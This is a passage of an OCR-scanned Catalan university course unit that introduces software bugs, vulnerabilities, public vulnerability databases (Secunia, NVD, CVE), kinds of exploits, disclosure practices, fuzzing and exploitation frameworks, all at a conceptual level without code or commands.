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Introduccio

Els sistemes d’'informaci6 i comunicacio i el programari en general esta realit-
zat per persones, i per tant, és susceptible que contingui errors en el seu dis-
seny o desenvolupament, aixi doncs, els problemes i errors en els programes

existeixen des de l'inici de la computacié.

Aquests errors en el programari es poden produir per un mal disseny de
l'arquitectura, una mala comprovacio de les premisses d'entorn per a les quals
va ser creat o simplement, per una implementaci6 erronia de les especificaci-
ons.

Un programari que funciona correctament és aquell que fa exactament tot allo
pel que va ser creat i dissenyat. No obstant aix0, el programa pot ser correcte
des del punt de vista funcional pero a la vegada pot ser insegur.

Els errors en el programari poden ser utilitzats per a atacar el sistema i posar-ne
en perill el bon funcionament, aixi com la confidencialitat i 1’Gs de les dades
que hi ha emmagatzemades; a més a més, els errors poden ser utilitzats com

a porta d’entrada per a executar codi malici6s.

Aixi doncs, és important ser conscients dels perills que poden comportar
aquests errors per tal de posar els mitjans adients perque no es produeixin.
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Objectius

En finalitzar la lectura d'aquest material, els estudiants hauran aconseguit les
competencies segilients:

1. Coneixer que és un exploit

2. Coneixer els diversos tipus d’exploits

3. Comprendre el perill que suposen els exploits.

4. Coneixer els sistemes d’explotacio
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1. Bug

Els sistemes d’informaci6 i comunicaci6 i el programari en general esta realit-
zat per persones, i per tant, és susceptible que contingui errors en el seu dis-
seny o desenvolupament, aixi doncs, els problemes i errors en els programes

existeixen des de 'inici de la computacio.

Un bug és un error, un defecte o fallada en un programa o sistema informatic,
que fa que es produeixi un resultat incorrecte o inesperat o que es comporti
de forma no prevista. La majoria dels errors es deuen als errors comesos per
les persones, ja sigui en el desenvolupament del codi d'un programa o del seu
disseny. S’ha de tenir en compte que els sistemes operatius i els compiladors
també son programes i, per tant, també poden contenir errors que poden ser
els causants de provocar que un programari correctament dissenyat i codificat
no funcioni com esta previst per causa d’un error en el procés de compilacio

o en el moment de ser executat pel sistema operatiu.

L'as del terme bug per descriure un defecte en el disseny o funcionament d'un
sistema técnic es remunta a Thomas Edison en els seus llibres de notes de ’any
1878.

Concretament en 1'ambit de la computacio, el terme bug té el seu origen l’any
1947, quan a la universitat de Harvard un programa dels primers ordinadors,
el Mark II, funcionava de manera erronia. Investigant el motiu d’aquell mal
funcionament, varen descobrir que era degut a una arna que hi havia en un
dels relés electromagnetics.

Grace Murray Hopper, que s’havia incorporat a la Universitat de Harvard en
el Laboratori de Computacio6 i que desenvolupava la seva tasca com a progra-
madora del Mark II, va recollir i va enganxar l'insecte amb cinta adhesiva en
un paper i s'hi va referir com el bug (‘bestiola’, en anglés) com a causant del
problema. Aquest va ser el primer cas en que el terme bug es referia explicita-

ment a errors en un programa.
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Aixi doncs, es coneixen com a bugs els errors de programacio que es detecten

en un programari.

Quan es produeix un error en el programari, aquest error pot ser utilitzat per un
hacker o un atacant com a porta d’entrada, i injectar el seu codi per tal d’accedir
al sistema. En aquest punt el sistema passa a ser vulnerable i susceptible de

ser atacat.

1
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2. Vulnerabilitats

Ens referim a vulnerabilitat com a debilitat de qualsevol tipus que compromet
la seguretat del sistema informatic.

A continuaci6 es mostren algunes de les vulnerabilitats dels sistemes informa-

tics agrupats en funci6 de:

¢ Disseny
— Debilitat en el disseny de protocols utilitzats en les xarxes.

- Politiques de seguretat deficients o inexistents.

¢ Implementaci6

- Errors de programacio.

- Existencia de "portes del darrere" en els sistemes informatics.

,

e Us

- Mala configuraci6 dels sistemes informatics.

Desconeixement i falta de sensibilitzaci6 dels usuaris i dels responsa-
bles d'informatica.

Disponibilitat d'eines que faciliten els atacs.

— Limitaci6 de tecnologies de seguretat.

S’ha de tenir en compte que una vulnerabilitat és un error que pot ser utilitzat

directament per un hacker per accedir a un sistema o xarxa.

Enllac recomanat

Observatorio tecnologico: In-
troduccion a la seguridad in-
formadtica - Vulnerabilidades de
un sistema informadtico:

http://
recursostic.educacion.es/ob-
servatorio/web/es/compo-
nent/content/article/1040-in-
troduccion-a-la-seguridad-in-
formatica?start=3



http://recursostic.educacion.es/observatorio/web/es/component/content/article/1040-introduccion-a-la-seguridad-informatica?start=3
http://recursostic.educacion.es/observatorio/web/es/component/content/article/1040-introduccion-a-la-seguridad-informatica?start=3
http://recursostic.educacion.es/observatorio/web/es/component/content/article/1040-introduccion-a-la-seguridad-informatica?start=3
http://recursostic.educacion.es/observatorio/web/es/component/content/article/1040-introduccion-a-la-seguridad-informatica?start=3
http://recursostic.educacion.es/observatorio/web/es/component/content/article/1040-introduccion-a-la-seguridad-informatica?start=3
http://recursostic.educacion.es/observatorio/web/es/component/content/article/1040-introduccion-a-la-seguridad-informatica?start=3
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3. Bases de dades de vulnerabilitats

Actualment hi ha diversos organismes, fundacions i empreses que es dediquen
a recollir, catalogar i enregistrar les vulnerabilitats conegudes i les donen a
coneixer publicament a la comunitat de forma que la informacié sobre les
vulnerabilitats es poden trobar en diverses bases de dades, repositoris i llistes
de distribuci6 puabliques open source o d'iniciativa privada a través de la xarxa.

Basicament, la informacio és recopilada gracies a les aportacions de la comu-

Enlla¢ recomanat

nitat, dels fabricants, dels organismes governamentals, institucions i empreses
CERT (Software Engineering
Institute). Vulnerability Repor-
cadors que recopilen la informacio a partir de diverses bases de dades i altres ting Form:
https://forms.cert.org/VulRe-
port/

puabliques i privades en 1'ambit de la seguretat. També hi ha disponibles cer-

fonts, de manera que la informacié d’'una mateixa vulnerabilitat es mostra a

partir de multiples fonts.

Tot i aixi, s’ha de tenir en compte que hi pot haver vulnerabilitats que no esti-
guin publicades en cap base de dades i fins i tot que el fabricant encara desco-
negui 'existéncia d'una vulnerabilitat concreta en algun dels seus productes.
A més a més, també hem de pensar que hi ha persones que quan troben una
vulnerabilitat no la reporten a la comunitat, siné que en fan negoci, ja sigui
explotant la vulnerabilitat per a obtenir un benefici propi fins que el fabricant
la descobreixi o per a vendre la informacié de la vulnerabilitat en el mercat
negre.

Cada base de dades té el seu propi sistema de codificaci6 i d’identificacié de
vulnerabilitats. A més a més, una mateixa vulnerabilitat es pot trobar en di-
verses bases de dades pero en codificacions diferents tot i tractant-se de la ma-
teixa vulnerabilitat.

Tanmateix, en general, totes aquestes bases de dades aporten informaci6 addi-
cional de gran interes, com ara tipus de vulnerabilitat, descripcid, conseqiien-
cies, entorns i programaris afectats, pegats de solucions, prevencions, aixi com

dates de descoberta de la vulnerabilitat i altra informacié d’interes.

Hi ha una gran diversitat de bases de dades, algunes de les quals es mostren
tot seguit.

3.1. Secunia

Secunia' disposa d’una base de dades molt amplia, amb més de 48.000 pro-  ’Secunia: http://secunia.com/

. R . P . community/advisories/search/.
ductes, que inclou programari i sistemes operatius de més de 8.000 fabricants. Y


https://forms.cert.org/VulReport/
https://forms.cert.org/VulReport/
http://secunia.com/community/advisories/search/
http://secunia.com/community/advisories/search/
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A més a més, diariament s’incorporen nous programaris i sistemes operatius a
la base de dades a través de suggeriments de clients de programari i informes
de vulnerabilitats.

Cercador de vulnerabilitats de Secunia

» Home » Community » Advisories » Search

Advisories Research F% Create Profile W

Database Search Advisories by Product  Advisories by Vendor  Terminology Report Vulnerability Insecure Library Loading

Search the Secunia Advisory and Vulnerability Database

Search terms can reference the advisory headline, body text, related software/OS, or CVE Reference. You can enclose search terms with * and *
for more accurate search resuits.
Simple Search

Search within: Criticality Level:
Headline .
Software/0S Extremely critical
Highly critical
Body Text Moderately critical v

CVE Reference

Impact:

Brute force From local network

Cross Site Scripting From remote

DoS v Local system v

Dades de vulnerabilitats d’'Oracle Java

Advisories R_Asnardl Forums Create Profile Our cammnmﬂ
——— ———

Database Search by Product by Vendor Report y Insecure Library Loading
Oracle Java Three Vulnerabilities
Secunia Advisory SA50133 Release Date: 2012-08-27 Last Update: 2012-12-24 Views: 120,723
Where: From remote
Impact: System access

Solution Status: Vendor Patch

Software: @ Oracle Java JDK 1.7.x/7.x @ Oracle Java JRE 1.7.x/7x
CVE Reference(s): CVE-2012-0547 CVE-2012-1682 CVE-2012-3136 CVE-2012-4681
Description

Three wulnerabilities have been reported in Oracle Java, which can be exploited by malicious people to compromise a users
system.

1) An error in how the “setSecurityManager()” function can be called can be exploited by an applet to set its own privileges to e.g.
allow and arbitrary p

NOTE: This is currently being actively exploited in targeted attacks.
2) An error when handling reflections within the java.beans.Expression class can be exploited to compromise a users system.
3) An unspecified error in the Beans sub-component can be exploited to compromise a user's system.

ofthe i allows of arbitrary code, but applies to client deployment only as the
vulnerabilities are exploited through Java Web Start and Java applets.

Solution:
Update to version 7 Update 7.

Provided and/or discovered by:
2) James Forshaw (tyranid) via ZDI

Reported as a 0-day.

The vendor also credits Adam Gowdiak, Security Explorations.

Original Advisory:

Oracle

hitp:/iwww.oracle. cve-2012-4681-1835715.html
hitps://blogs.oracle.com/security/entry/security_alert_for_cve_20121

FireEye:

hitp://blog fireeye.c ch/201. -day t- yet htmi
ZDI;

http: 12-12/0214.html

Deep Links:

Links ave
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3.2. National Vulnerability Database

NVD? és un repositori del govern dels EUA. Es tracta d’una base de dades publi- ©®National Vulnerability Databa-
se: http://nvd.nist.gov/.

ca que manté informaci6é estandarditzada sobre vulnerabilitats. Aquesta ges-

tié6 permet l'automatitzacié de les mesures i gestié de vulnerabilitats, també
inclou bases de dades de llistes de control de seguretat, falles de programari
relacionades amb la seguretat, errors de configuracié, noms de productes i me-
triques d'impacte.

Cercador de vulnerabilitats d’'NVD
Sponsored by Y /;{\ ¥ ler

DHS National Cyber Security Division/US-CERT | National Institute of
. Standards and Technology

National Vulnenahility Database

automating vulnerability managem L ity measurement, and compliance checking
Vulnerabilities Checklists 800-53/800-53A Product Dictionary Impact Metrics Data Feeds Statistics

Home |scap |scap d Tools |ScAP Events |About  |contact | vendor Comments
Mission and Overview

EraTa Search CVE and CCE Vulnerability Database

government repository of (Advanced Search)
standards based

= Keyword search: Search
vulnerability management 4
gata jlissidatalenables Try a product or vendor name
automation of Try a CVE standard vulnerability name or OVAL query
vulnerability Only vulnerabilities that match ALL keywords will be returned
management, security Linux kernel vulnerabilities are categorized separately from vulnerabilities in specific Linux distributions

measurement, and B
compliance (e.g. FISMA). (® Search All
JSearch Last 3 Months
SSCite S D Search Last 3 Years
NVD contains:
61866 CVE Vulnerabilities

231 Checdists Software Flaws (CVE)

zé‘;z UsS-CERT Alerix Misconfigurations (CCE), under development
US-CERT Vuln Notes

Show only vulnerabilities that have the following associated resources:

10286 QVAL Qusries [JUS-CERT Technical Alerts
87968 CPE Names [JUS-CERT Vulnerability Notes
Last updated: 4/27/2014 [JOVAL Queries

Web del cercador de vulnerabilitats d’NVD: http://web.nvd.nist.gov/view/vuln/searchhttp://web.nvd.nist.gov/view/vuln/search.

Informacié d’una vulnerabilitat que afecta I'Internet Explorer 9i 10

National Cyber Awareness System

ulnerability Summary for CVE-2014-0322
Original release date: 02/14/2014
Last revised: 03/16/2014
Source: US-CERT/NIST
Overview
Use-after-free vulnerability in Microsoft Internet Explorer 9 and 10 allows remote attackers to execute

arbitrary code via vectors involving crafted JavaScript code, as exploited in the wild in January and February
2014.

Impact
CVSS Severity (version 2.0):
CVSS v2 Base Score: 9.3 (HIGH) (AV:N/AC:M/AU:N/C:C/I:C/A:C) (legend)

Impact Subscore: 10.0

Exploitability Subscore: 8.6
CVSS Version 2 Metrics:

Access Vector: Network exploitable; Victim must voluntarily interact with attack mechanism
Access Complexity: Medium

Authentication: Not required to exploit

Impact Type: Allows unauthorized disclosure of information; Allows unauthorized modification; Allows
disruption of service

References to Advisories, Solutions, and Tools

By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites
because they may have information that would be of interest to you. No inferences should be drawn on
account of other sites being referenced, or not, from this page. There may be other web sites that are more
appropriate for your purpose. NIST does not necessarily endorse the views expressed, or concur with the
facts presented on these sites. Further, NIST does not endorse any commercial products that may be
mentioned on these sites. Please address comments about this page to nvd@nist.gov.

US-CERT Vulnerability Note: CERT-VN
Name: VU#732479
Hyperlink: http://www.kb.cert.org/vuls/id/732479



http://web.nvd.nist.gov/view/vuln/searchhttp://web.nvd.nist.gov/view/vuln/search
http://nvd.nist.gov/
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3.3. Common Vulnerabilities and Exposures

CVE® és un diccionari de coneixement public sobre les vulnerabilitats de se-

guretat, on cada referéncia te un ntimero d’identificacié tnic, d’aquesta for-

ma proveeix una nomenclatura comu per al coneixement public, que permet

l'intercanvi de dades entre els productes de seguretat.

Informacié d'una vulnerabilitat que afecta I'Internet Explorer 11

B

CVE LIST COMPATIBILITY NEWS — APRIL 17, 2014

SEARCH

Common Vulnerabilities and Exposures
The Standard for Information Security Vulnerability Names

New CVE-ID Format as of January 1, 2014 — learn more

TOTAL CVEs: 61138

HOME > CVE > CVE-2014-1760

About CVE
Terminology
Documents

FAQs

CVE List

CVE-ID Syntax Change
About CVE Identifiers
Search CVE

Search NVD

Updates & RSS Feeds
Request a CVE-ID

CVE In Use
CVE-Compatible Products

NVD for CVE Fix
Information

CVE Numbering
Authorities

News & Events
Calendar

Free Newsletter
Community

CVE Editorial Board
Sponsor

Contact Us
Search the Site
Site Map

Printer-Friendly View

CVE-2014-1760 Learn more at National Vulnerability
Database (NVD)

« Severity Rating « Fix Information « Vulnerable
Software Versions « SCAP Mappings

Microsoft Internet Explorer 11 allows remote attackers to execute arbitrary
code or cause a denial of service (memory corruption) via a crafted web
site, aka "Internet Explorer Memory Corruption Vulnerability."

References

Note: References are provided for the convenience of the reader to help
distinguish between vulnerabilities. The list is not intended to be complete.

* MS:MS14-018
* URL:http://technet.microsoft.com/security/bulletin/M514-018

Date Entry Created

20140129 Disclaimer: The entry creation date may reflect
when the CVE-ID was allocated or reserved, and
does not necessarily indicate when this vulnerability
was discovered, shared with the affected vendor,
publicly disclosed, or updated in CVE.

Phase (Legacy)
Assigned (20140129)
Votes (Legacy)

Comments (Legacy)

Proposed (Legacy)
N/A
This is an entry on the CVE list, which standardizes names for security problems.

SEARCH CVE USING KEYWORDS: ‘ Submit
You can also search by reference using the CVE Reference Maps.

For More Information: cve@mitre.org

CVE List

CVE-ID Syntax Change
CVE Usage of CVRF
About CVE Identifiers
Editorial Policies

Data Sources/Product
Coverage

Reference Key/Maps
Search Tips

Updates & RSS Feeds
Request a CVE Identifier
ITEMS OF INTEREST

Terminology
NVD

® Common Vulnerabilities and Expo-
sures: http://cve.mitre.org/.



http://cve.mitre.org/
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4. Exploits

Un exploit és el codi que permet a un atacant / testejador aprofitar una vulnera-
bilitat del sistema i comprometre la seva seguretat, o causar un comportament
no desitjat o imprevist del sistema. Es tracta d’'un programa que aconsegueix
provocar l'error aprofitant la vulnerabilitat d'un altre programa. Un cop ha
provocat l'error, aprofita aquest error per a injectar un codi o un payload per
tal que sigui executat i aixi obtenir el control del sistema atacat, o realitzar
algun altre tipus d’atac amb altres finalitats.

Payload és el codi que s’executa en el desti atacat en executar-se un exploit. Es
a dir I'exploit provoca 1'error del sistema aprofitant una vulnerabilitat i injecta
un payload amb el codi que es vol que s’executi en la maquina atacada. Nor-
malment es tracta d'una seqiiencia d’instruccions en llenguatge assemblador
amb l'objectiu d’executar-se en el sistema de desti per a crear accions, com per
exemple, crear un usuari en el sistema remot, executar alguna linia de coman-

des i enllacar-ho a un port local, etc.

S’ha de tenir en compte que un payload pot ser utilitzat per diversos exploits i

que un mateix exploit pot utilitzar diversos payloads.
4.1. Exploits remots

Un atac remot és un atac que pot ser iniciat des d'una ubicaci6 diferent de la de
I’equip de la victima, funciona en una xarxa o a través d’Internet i explota la
vulnerabilitat de seguretat sense accés previ al sistema vulnerable de la victima.

Enllacos recomanats
Code Red:

National Vulnerability Database: http://web.nvd.nist.gov/view/vuln/de-
tail?vulnld=CVE-2001-0500

Common Vulnerabilities and Exposures: http://www.cve.mitre.org/index.html
CVE-2001-0500 Buffer overflow in ISAPI extension: http://www.cve.mitre.org/cgi-bin/
cvename.cgi?name=CVE-2001-0500http://www.cve.mitre.org/cgi-bin/cvename.cgi?
name=CVE-2001-0500

Microsoft Security Bulletin:

MS01-033 - Critical: https://technet.microsoft.com/library/security/ms01-033

MS01-044 - Critical: https://technet.microsoft.com/library/security/ms01-044


http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0500
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0500
http://www.cve.mitre.org/index.html
https://technet.microsoft.com/library/security/ms01-033
https://technet.microsoft.com/library/security/ms01-044
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La gran extensio d’Internet facilita la difusi6é del programari malicios a través
de la xarxa de programari malicids; per exemple, un cuc que es difon per la
xarxa com Sasser, Blaster o Code Red ha de tenir una forma de copiar-se d'una
maquina a un altra, per exemple, aquests cucs aprofitaven serveis de xarxa
vulnerables explotables en remot.

Code Red

Code Red es va posar a Internet el dia 13 de juliol de l'any 2001.

1) El cuc Code Red intenta connectar-se al port TCP 80 en un servidor triat a l'atzar.
Després d'una connexi6 satisfactoria amb el port 80, el servidor atacant envia una
sol-licitud GET HTTP a la victima, intentant aprofitar un desbordament de memoria
en el Indexing Service tal i com es va descriure en la publicacié6 CERT CA- 2001-13.

2) El mateix exploit (petici6 HTTP GET) s'envia a cadascun dels servidors seleccionats
en forma aleatoria causant una autopropagacio del cuc.

3) Si l'exploit té exit, el cuc comenca a executar-se en el servidor de la victima. En
les primeres versions del cuc, permetia executar codi injectat en memoria per a fer
un defacement, és a dir, una suplantacié de la pagina principal del servidor web, i
apareixia el seglient missatge:

HELLO! Welcome to http://www.worm.com! Hacked By Chinese!

En moltes ocasions els atacs son una combinacié d'un accés remot i posteri-
orment, la realitzacié d'un atac a una aplicacio local aprofitant forats de segu-
retat de les aplicacions client. En general consisteix en servidors que intenten
accedir a una aplicaci6 client i un cop ho aconsegueixen, envien un exploit

per a ser executat.

Un exemple d’aquest tipus d’exploit remot és el que es produeix en diverses
versions de I'Internet Explorer aprofitant una vulnerabilitat en el CShared Style
Sheet. Aquesta vulnerabilitat permet a atacants remots executar codi arbitrari
o causar una denegaci6 de servei a través d'una regla @import autoreferencial
en un full d'estil, també conegut com "Vulnerabilitat de corrupcié de memoria
CSS".

4.2. Exploits locals

Un exploit local requereix accés previ al sistema vulnerable, s’execute local-
ment en l'equip i en general eleva els privilegis al nivell de l'administrador
o de root per tal que 'exploit pugui tenir un control total del sistema; també
és possible usar diversos exploits, primer per a obtenir accés de baix nivell, i
després escalar privilegis diverses vegades fins arribar a l'arrel (root) o a nivell

d’administrador.

Enllacos recomanats

Software Engineering Insti-
tute:

"Code Red" Worm Ex-
ploiting Buffer Over-

flow In IIS Indexing
Service DLL: http://
www.cert.org/historical/advi-
sories/CA-2001-19.cfm
Buffer Overflow In IIS In-
dexing Service DLL: http://
www.cert.org/historical/advi-
sories/CA-2001-13.cfm

Enllacos recomanats

Common Vulnerabi-
lities and Exposures.
CVE-2010-3971: http://
www.cve.mitre.org/
cgi-bin/cvename.cgi?
name=CVE-2010-3971
National Vulnerabi-
lity Database: http://
web.nvd.nist.gov/vi-
ew/vuln/de-
tail?vulnld=CVE-2010-3971

Enllacos recomanats

The Downadup

Codex: http://
Www.symantec.com/con-
tent/en/us/enterprise/me-
dia/security_response/
whitepapers/
the_downadup_codex_ed1.pdf
Conficker: http://
en.wikipedia.org/wiki/Con-
ficker
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http://www.cert.org/historical/advisories/CA-2001-19.cfm
http://www.cert.org/historical/advisories/CA-2001-13.cfm
http://www.cert.org/historical/advisories/CA-2001-13.cfm
http://www.cert.org/historical/advisories/CA-2001-13.cfm
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3971
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3971
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3971
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3971
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-3971
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-3971
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-3971
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-3971
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the_downadup_codex_ed1.pdf
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the_downadup_codex_ed1.pdf
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the_downadup_codex_ed1.pdf
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the_downadup_codex_ed1.pdf
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the_downadup_codex_ed1.pdf
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the_downadup_codex_ed1.pdf
http://en.wikipedia.org/wiki/Conficker
http://en.wikipedia.org/wiki/Conficker
http://en.wikipedia.org/wiki/Conficker
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Alguns exploits també es poden distribuir localment a través de disposi-
tius d’emmagatzematge USB, per exemple, aquesta va ser una de les vies
que va utilitzar per a la seva propagaci6 el cuc Conficker, també anomenat
W32.Downadup, aixi com en les seves variants B i C. També varen utilitzar
aquesta via W32.Spybot, W32.Randex i W32.Mytob.

4.3. Client Side

Els atacs Client Side busquen aprofitar-se de vulnerabilitats que tipicament es
troben en les aplicacions client, les quals estan instal-lades en gran part de les
estacions de treball de les organitzacions. Alguns exemples d’aquest progra-
mari son les aplicacions d'ofimatica, com Microsoft Office o Open Office, lec-
tors de PDF, com Adobe Acrobat Reader, navegadors d'Internet, com Internet
Explorer, Firefox, Chrome o Safari, i fins i tot, reproductors multimedia com
Windows Media Player, Winamp o iTunes.

En aquests casos, l'exploit esta dins d'un arxiu amb un format suportat per
alguna d'aquestes i que arriba a la maquina objectiu per mitjans com email o
pendrive. Aquest tipus d’atac requereix de la intervenci6 de 1'usuari ja que es
necessita que l'usuari obri 'arxiu, cliqui algun enllag¢ o realitzi alguna acci6

en concret.

Aixi doncs, es tracta de programari maliciés que apareix com a fitxer o progra-
mari aparentment fiable. Es tracta de fitxers amb un format conegut com ara
ZIP, RAR, MPEG, MP3, JPG, etc., perd que en realitat incorporen codi malicios
de forma intencionada. Per exemple, es poden utilitzar fitxers MP3 maliciosos
que exploten una vulnerabilitat en un reproductor d’audio i a partir d’aqui
executar instruccions de destruccié, enviar dades del sistema atacat a un ser-
vidor, connectar-se a un servidor i descarregar programari malici6s, etc.

Un exemple d’aquest tipus de vulnerabilitat és el desbordament de memoria
provocat en un fitxer JPEG que permet a atacants remots executar codi arbitrari
a través d'una imatge JPEG. L'identificador d’aquesta vulnerabilitat per CVE
(Common Vulnerabilities and Exposures) és CVE-2004-0200 i va ser documentat
també per Microsoft en el seu butlleti de seguretat MS04-028.

Aquests exploits es poden explotar de manera local enviant a un usuari un
fitxer malformat perque I'obri. Per exemple, un sistema que s'utilitza és enviar
un fitxer aparentment inofensiu a través de correu electronic, també es poden
explotar aquests errors creant una pagina web que carregui automaticament
el connector d'un programari vulnerable i un fitxer malformat o utilitzant la
publicaci6é d'aquests exploits amb noms suggeridors a les xarxes d'intercanvis
d'arxius P2P.

Enllacos recomanats

Buffer overflow in the
JPEG:

Common Vulnerabi-

lities and Exposures.
CVE-2004-0200: http://
www.cve.mitre.org/
cgi-bin/cvename.cgi?
name=CAN-2004-0200
Microsoft Security Bulletin
MS04-028 - Critical: https://
technet.microsoft.com/li-
brary/security/ms04-028



http://www.cve.mitre.org/index.html
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0200
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0200
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0200
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0200
https://technet.microsoft.com/library/security/ms04-028
https://technet.microsoft.com/library/security/ms04-028
https://technet.microsoft.com/library/security/ms04-028
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Els atacs contra les aplicacions client també poden requerir algun tipus
d'interacci6 amb l'usuari i per tant poden ser utilitzats en combinaci6é amb el
metode d'enginyeria social.
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5. Tipus d’exploits

5.1. Zero-day

Una vulnerabilitat de dia zero es refereix a un forat o vulnerabilitat en el pro- Enllacos recomanats
gramari que és desconegut per al fabricant o desenvolupador, per tant, aquest

Pctools by Syman-
forat de seguretat pot ser explotat pels hackers abans que el venedor ho desco- tec. Zero-}:ia}}:: http://
breixi i s'afanyi a crear un pegat per tal d’eliminar-ne la vulnerabilitat. www.pctools.com/secu-
rity-news/zero-day-vulnerabi-
lity/
Els exploits de dia zero son els més perillosos per a la industria del programa- WatchGuard. Zero
. . L N N - . day protection: http://
ri, el perill principal esta en queé el problema, la vulnerabilitat, no s’ha fet pa- Wv};‘f; impulsotecnoFl)ogico.com /
blica, només la coneixen les persones que I’han descobert i ni el fabricant o empresa-madrid/wp-con-
. tent/uploads/informati-
desenvolupador ni la comunitat en general en coneix l'existéncia del proble- ca/wg_utm_zeroday_es.pdf

ma. Aquests sén els més cotitzats i els que miren de ser captats per la industria

del programari malicids, mafies, mercat negre i les empreses de seguretat.

Actualment, la majoria de versions actualitzades de sistemes operatius i pro-
gramari de seguretat, per exemple els antivirus, ofereixen protecci6 de dia-ze-
ro. Aquesta proteccié consisteix en 'habilitat de proporcionar proteccié contra
vulnerabilitats dia-zero amb técniques com la de controlar els desbordaments
de memoria intermedia.

Tot i aixi, el perill continua existint, ja que en moltes ocasions els hackers tro- Enllac recomanat
ben la forma de saltar-se aquestes proteccions i aconsegueixen els seus objec-
ArsTechnica:

tius.
New attack completely

bypasses Microsoft ze-
ro-day protection app:
http://arstechnica.com/se-

moment ho varen ser, ja que en el moment en que es fa pablic deixen de ser curity/2014/02/new-attack-

, . i . . . completely-bypasses-micro-
exploits de dia-zero. De mitjana, un dia-zero pot estar funcionant 350 dies fins soft-zero-day-protection-app/

Els exploits catalogats com de dia-zero és refereixen als exploits que en el seu

que és descobert pels cibercriminals i arreglat per la industria.

5.2. Full disclosure

Full disclosure és la practica de publicar la informaci6 de les vulnerabilitats al
mateix moment que es descobreix, de forma que sigui accessible per a tothom;
per tant, les victimes potencials estan informats de com poden ser atacats i
els fabricants poden desenvolupar el pegat. Alguns autors anomenen aquests
exploits de dia 1, ja que es coneix l'error perd encara no hi ha pegat.


http://www.pctools.com/security-news/zero-day-vulnerability/
http://www.pctools.com/security-news/zero-day-vulnerability/
http://www.pctools.com/security-news/zero-day-vulnerability/
http://www.pctools.com/security-news/zero-day-vulnerability/
http://www.impulsotecnologico.com/empresa-madrid/wp-content/uploads/informatica/wg_utm_zeroday_es.pdf
http://www.impulsotecnologico.com/empresa-madrid/wp-content/uploads/informatica/wg_utm_zeroday_es.pdf
http://www.impulsotecnologico.com/empresa-madrid/wp-content/uploads/informatica/wg_utm_zeroday_es.pdf
http://www.impulsotecnologico.com/empresa-madrid/wp-content/uploads/informatica/wg_utm_zeroday_es.pdf
http://www.impulsotecnologico.com/empresa-madrid/wp-content/uploads/informatica/wg_utm_zeroday_es.pdf
http://arstechnica.com/security/2014/02/new-attack-completely-bypasses-microsoft-zero-day-protection-app/
http://arstechnica.com/security/2014/02/new-attack-completely-bypasses-microsoft-zero-day-protection-app/
http://arstechnica.com/security/2014/02/new-attack-completely-bypasses-microsoft-zero-day-protection-app/
http://arstechnica.com/security/2014/02/new-attack-completely-bypasses-microsoft-zero-day-protection-app/
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5.3. Responsible disclosure

En aquest cas el fabricant descobreix o és informat de l’error pero no es fa
public. Quan el fabricant té disponible el pegat i el posa a disposicio dels clients
és quan es dona a coneixer i es fa public.. Aquest sistema és molt comu en les
grans empreses de programari com Microsoft, en que s'aplica el principi de no
publicar res que pugui afectar la seguretat dels seus clients.
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6. Sistemes d’explotacio

Hi ha diverses formes d’explotaci6, des d’una explotacié manual fins a la uti-
litzacio6 de frameworks especifics, tot i aixi, s’ha de tenir en compte que els sis-
temes d’explotaci6 sén sistemes de proves o de testejar programari.

6.1. Explotaciéo manual

Crear un programa per a crear un exploit requereix coneixer molts detalls dels
sistemes objecte de desti; per exemple, no és el mateix un sistema operatiu com
el Windows amb o sense un service pack instal-lat i a la vegada contemplar les
diverses versions de service pack, aixi com tenir en compte les diverses opcions
de idiomes. A la vegada s’han de coneixer altres temes associats, com protocols,
arquitectura del sistema objectiu, llenguatge de baix nivell, scripting, etc.

Tenir en compte tots aquests aspectes fa que sigui una tasca laboriosa i que
requereixi un gran esforg, aixo fa que hagin aparegut entorns per a crear de

forma automatitzada exploits que funcionin en diverses plataformes.
6.2. Fuzzing

Fuzzing és una técnica de proves de caixa negra per a testejar el programari
o altres aspectes del sistema. Basicament consisteix en la recerca d'errors o
vulnerabilitats d'implementacié mitjan¢ant la injecci6é de dades mal formades,
inesperades o a l’atzar, de forma automatitzada i aleatoria.

6.3. Frameworks d’explotacio

Existeixen diversos frameworks d’explotaci6, alguns d’aquests frameworks son,
per exemple, Metasploit, Core Impact, Immunity Canvas, BeEF, Kali Linux,
etc.

Enllacos recomanats
Metasploit: http://www.metasploit.com/
Core Impact: http://www.coresecurity.com/
Immunity Canvas: https://www.immunitysec.com/products-canvas.shtml
BeEF The browser exploitation framework project: http://beefproject.com/
Kali Linux: http://www.Kali.org/
Es tracta d’eines de proves de penetraci6 per a testejar programari des del punt

de vista de la seguretat i permeten executar exploits contra un objectiu deter-
minat.

Enllac recomanat

OWASP (Open Web Ap-
plication Security Pro-
ject). Fuzzing: https://
www.owasp.org/index.php/
Fuzzing



http://www.metasploit.com/
http://www.coresecurity.com/
https://www.immunitysec.com/products-canvas.shtml
http://beefproject.com/
http://www.kali.org/
https://www.owasp.org/index.php/Fuzzing
https://www.owasp.org/index.php/Fuzzing
https://www.owasp.org/index.php/Fuzzing
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Un dels beneficis és que permeten la modularitzacié del codi d’explotacio ja
que permet que un mateix exploit apliqui diversos payloads en lloc de crear un
codi per a explotar només un tipus d’atac, com per exemple, crear un usuari
0 executar una comanda en la consola (shell) del sistema atacat.

Dels diversos frameworks d’explotaci6, a continuacié ens centrarem en el de
